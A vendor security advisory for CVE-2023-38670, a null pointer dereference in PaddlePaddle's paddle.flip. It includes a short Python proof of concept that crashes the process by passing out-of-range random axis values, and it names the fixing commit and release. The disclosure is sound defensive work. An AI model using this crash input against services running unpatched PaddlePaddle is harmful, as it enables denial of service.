CVE-2023-38670
paddle.flip
segfaults with a nullptr dereference. The PoC is as follows:
import paddle
import numpy as np
from paddle import flip
x = paddle.to_tensor(np.random.uniform(-10, 10, [1, 2, 3]).astype(np.int64)),
axis = paddle.to_tensor(np.random.uniform(-2147483648, 2147483647, [3, 3]).astype(np.int32))
flip(x, axis)
We have patched the issue in commit ed96baeed19b4e11b6cbc2dcc6776245ba5fab13. The fix will be included in PaddlePaddle 2.5.0.
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
This vulnerability has been reported by Tong Liu of ShanghaiTech University.